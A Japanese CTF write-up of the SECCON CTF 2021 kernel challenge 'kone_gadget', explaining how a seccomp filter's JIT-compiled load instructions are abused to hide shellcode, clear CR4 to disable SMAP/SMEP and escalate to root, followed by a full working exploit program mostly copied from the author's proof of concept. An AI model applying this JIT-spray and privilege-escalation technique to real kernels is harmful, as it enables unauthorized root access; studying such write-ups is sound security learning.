イントロ
SECCON CTF 2021がいつだったか開催されたみたいです。本エントリでは kernel 問題のkone_gadget
を復習していきます。開催期間中は解けませんでした。あとパソコン壊れました。そろそろ買い換えようと思います。
なお、exploit は author さんのコピペなので Discord のチャンネルを見てください。
static
lysithea
lysithea.sh 1===============================
2Drothea v1.0.0
3[.] kernel version:
4Linux version 5.14.12 (ptr@medium-pwn) (x86_64-buildroot-linux-uclibc-gcc.br_real (Buildroot 2021.08-1129-gdd1412c060-dirty) 10.3.0, GNU ld (GNU Binutils) 2.36.1) #4 SMP Mon Nov 8 23:50:41 JST 2021
5[-] CONFIG_KALLSYMS_ALL is enabled.
6cat: can't open '/proc/sys/kernel/unprivileged_bpf_disabled': No such file or directory
7[-] unprivileged userfaultfd is disabled.
8[?] kptr seems restricted. Should try 'echo 0 > /proc/sys/kernel/kptr_restrict' in init script.
9Ingrid v1.0.0
10[.] userfaultfd is not disabled.
11[-] CONFIG_STRICT_DEVMEM is enabled.
12===============================
コレを見て、あ、unprivileged bpf 使えないんかと思った。
patch
問題はシンプルで、以下のシステムコールを追加する。rax
以外のレジスタを全クリアした上で、指定したアドレスにジャンプする。
1// Added to `arch/x86/entry/syscalls/syscall_64.tbl`
21337 64 seccon sys_seccon
3
4// Added to `kernel/sys.c`:
5SYSCALL_DEFINE1(seccon, unsigned long, rip)
6{
7 asm volatile("xor %%edx, %%edx;"
8 "xor %%ebx, %%ebx;"
9 "xor %%ecx, %%ecx;"
10 "xor %%edi, %%edi;"
11 "xor %%esi, %%esi;"
12 "xor %%r8d, %%r8d;"
13 "xor %%r9d, %%r9d;"
14 "xor %%r10d, %%r10d;"
15 "xor %%r11d, %%r11d;"
16 "xor %%r12d, %%r12d;"
17 "xor %%r13d, %%r13d;"
18 "xor %%r14d, %%r14d;"
19 "xor %%r15d, %%r15d;"
20 "xor %%ebp, %%ebp;"
21 "xor %%esp, %%esp;"
22 "jmp %0;"
23 "ud2;"
24 : : "rax"(rip));
25 return 0;
26}
考えたこと(FAIL)
スタックをピボットして mmap した user 領域に向けてなんとか ROP 出来ないかと一瞬考えた。SMAP だったわと思ってすぐに考えるのを止めた。author を信頼しているため、まさかタイトルの通り本当に one_gadget が存在しているとは全く思わなかったが、実際に手を動かさないとわからなさそうだったので、諦めた。
想定解
終わってすぐに非想定解の方を聞いたため呆気にとられてしまったが、よくよく見るとちゃんと想定解があった。そしてかなり賢くて言い問題だった。 想定解では、seccomp を使っている。seccomp のフィルタルールが JIT されること、及び NOKASLR ゆえにそのページアドレスも predictable なことを利用して、JIT したページに飛ぶと user-controlled なコードを実行できる。とはいっても、bpf では命令セットが少なく、push とか pop もない(よね?)ため、ロード命令の IMM フィールドを上手く使ってシェルコードにしている。 どういうことかというと、以下のような bpf 命令を考えると:
.c1#define NOP \
2 ((struct bpf_insn){ \
3 .code = BPF_LD | BPF_IMM, .dst_reg = 0, .src_reg = 0, .off = 0, .imm = 0x01eb9090})
実際に生成される JIT コードは以下のようになる:
.txt1(gdb) x/10i $rip - 0x4
2 0xffffffffc0000efc: add DWORD PTR [rax+0x1eb9090],edi
3 0xffffffffc0000f02: mov eax,0x1eb9090
4 0xffffffffc0000f07: mov eax,0x1eb9090
5 0xffffffffc0000f0c: mov eax,0x1eb9090
これを、オペランドの部分だけ見て解釈すると以下のようにnop + nop + jmp 0x3
になる:
1(gdb) x/10i $rip - 0x2
2 0xffffffffc0000efe: nop
3 0xffffffffc0000eff: nop
4=> 0xffffffffc0000f00: jmp 0xffffffffc0000f03
5 0xffffffffc0000f02: mov eax,0x1eb9090
6 0xffffffffc0000f07: mov eax,0x1eb9090
7 0xffffffffc0000f0c: mov eax,0x1eb9090
こうすることで、オペランドの中で任意の命令を実行しては、次にある命令をスキップしてまた任意の命令の実行に繋げることが出来る。
これで任意のシェルコードを実行できるようになった。あとはcommit(pkc(0))
するために、kROP をしたい。これは、上のシェルコードなかで CR4 をクリアして SMAP/SMEP 無効にすることで実現できる。賢いね。
因みに、上に書いた理由で成功率は 75%の気がする。上の NOP 命令のうち、nop と jmp でないところに当たると失敗する。また、スタック用のページは 2 ページ分ちゃんととらないと他の関数を呼んだときにスタックが溢れるので注意(これで少し時間を潰した)。
非想定解
.asm1jmp &flag
うわーーーーーーーーーーーーーーーーーーーーーーーーーーーーい。
exploit
Almost parts are copied from author’s poc.
.c 1#include "./exploit.h"
2#include <linux/prctl.h>
3#include <sys/mman.h>
4
5/*********** constants ******************/
6
7#define STACK 0xFFF000// must be
8const ulong SECCOMP_RET_ALLOW = 0x7fff0000;
9
10// KASLR is disabled
11scu commit_creds = 0xffffffff81073ad0;
12scu pkc = 0xffffffff81073c60;
13scu trampoline = 0xffffffff81800e26;
14
15#define NOP \
16 ((struct bpf_insn){ \
17 .code = BPF_LD | BPF_IMM, .dst_reg = 0, .src_reg = 0, .off = 0, .imm = 0x01eb9090})
18#define BPF_RET_IMM(IMM) \
19 ((struct bpf_insn){ \
20 .code = BPF_RET, .dst_reg = 0, .src_reg = 0, .off = 0, .imm = IMM})
21
22#define FSIZE 0x312 // COPIED FROM AUTHOR'S POC
23
24// (END constants)
25
26// clean e(dx|bx|cx|si|bp|sp), r([8-15])d, and jmp to $rip[$rax]
27void seccon(ulong offset) {
28 assert(syscall(1337, offset) == 0);
29}
30
31void install_filter(char *filter, ushort len) {
32 struct sock_fprog prog = {
33 .len = len,
34 .filter = (struct sock_filter*)filter,
35 };
36 if(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) errExit("no_new_privs");
37 if(prctl(PR_SET_SECCOMP, 2, &prog) < 0) errExit("set_seccomp");
38}
39
40int main(int argc, char *argv[]) {
41 puts("[+] start of exploit");
42 struct bpf_insn nop = NOP;
43 struct bpf_insn ret = BPF_RET_IMM(SECCOMP_RET_ALLOW);
44 printf("[+] nirugiri @ %p\n", NIRUGIRI);
45 save_state();
46 ulong rop[] = {
47 pkc,
48 commit_creds,
49 trampoline,
50 0,
51 0,
52 (ulong)NIRUGIRI,
53 (ulong)user_cs,
54 (ulong)user_rflags,
55 (ulong)user_sp,
56 (ulong)user_ss,
57 };
58 ulong *filter = (ulong*)malloc((FSIZE + 1) * 8);
59
60 // 2 more page is required cuz pkc() and etc uses stack
61 const char *addr = (char*)mmap((void*)STACK, 2 * PAGE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_POPULATE | MAP_ANONYMOUS | MAP_SHARED | MAP_FIXED, -1, 0);
62 if (addr == MAP_FAILED || addr != (char*)STACK) errExit("mmap");
63 printf("[+] mapped @ %p\n", addr);
64
65 for (int ix = 0; ix != sizeof(rop); ++ix)
66 ((ulong*)(addr + PAGE))[ix] = rop[ix];
67 for (int ix = 0; ix != FSIZE; ++ix)
68 filter[ix] = *(ulong*)&nop;
69 filter[FSIZE] = *(ulong*)&ret;
70
71 ulong *chain = &filter[FSIZE - 20];
72 /**** COPIED from comment in Discord of SECCON 2021 from author: @ptrYudai ********/
73 /**** (NOTE: 'jmp 1' here means `jmp 0x3`, which skips valid opcode field and jump to operand field, which is actually shellcode for us.) **/
74 /**** (NOTE: unprivileged bpf installation is disallowed in this kernel, but seccomp installation is allowed and JITed, **/
75 /**** So below insts uses LD instruction, whose IMM field is shellcode.) **/
76 /**** (NOTE: for the reason stated above, success rate is 75%. ) **/
77 *chain++ = (ulong)(0x04E7200F) << 32; // mov rdi, cr4; add al, XX;
78 // edx = ~0x300000
79 *chain++ = (ulong)(0x01ebD231) << 32; // xor edx, edx; jmp 1;
80 *chain++ = (ulong)(0x01ebC2FF) << 32; // inc edx; jmp 1;
81 *chain++ = (ulong)(0x01ebE2D1) << 32; // shl edx, 1; jmp 1;
82 *chain++ = (ulong)(0x01ebC2FF) << 32; // inc edx; jmp 1;
83 *chain++ = (ulong)(0x0414E2C1) << 32; // shl edx, 20; add al, XX;
84 *chain++ = (ulong)(0x01ebD2F7) << 32; // not edx;
85 // rdi &= rdx
86 *chain++ = (ulong)(0x04D72148) << 32; // and rdi, rdx; add al, XX;
87 // cr4 = rdi
88 *chain++ = (ulong)(0x04E7220F) << 32; // mov cr4, rdi; add al, XX;
89 // esp = 0x1000000
90 *chain++ = (ulong)(0x01ebE431) << 32; // xor esp, esp; jmp 1;
91 *chain++ = (ulong)(0x01ebC4FF) << 32; // inc esp; jmp 1;
92 *chain++ = (ulong)(0x0418E4C1) << 32; // shl esp, 24; add al, XX;
93 // commit_creds(prepare_kernel_cred(NULL));
94 *chain++ = (ulong)(0x01ebFF31) << 32; // xor edi, edi; jmp 1;
95 *chain++ = (ulong)(0x01eb9058) << 32; // pop rax; nop; jmp 1;
96 *chain++ = (ulong)(0x01ebD0FF) << 32; // call rax; jmp 1;
97 *chain++ = (ulong)(0x04C78948) << 32; // mov rdi, rax; add al, XX;
98 *chain++ = (ulong)(0x01eb9058) << 32; // pop rax; nop; jmp 1;
99 *chain++ = (ulong)(0x01ebD0FF) << 32; // call rax; jmp 1;
100 // jump to swapgs_restore_regs_and_return_to_usermode
101 *chain++ = (ulong)(0xccE0FF58) << 32; // pop rax; jmp rax;
102 /**** end copied ******************************************************************/
103
104 install_filter((char*)filter, FSIZE + 1);
105 seccon(0xffffffffc0000f00); // JITed code is loaded
106
107 // end of life
108 puts("[ ] END of life...");
109 sleep(999999);
110}
アウトロ
良い問題でした。
参考
- nirugiri: https://youtu.be/yvUvamhYPHw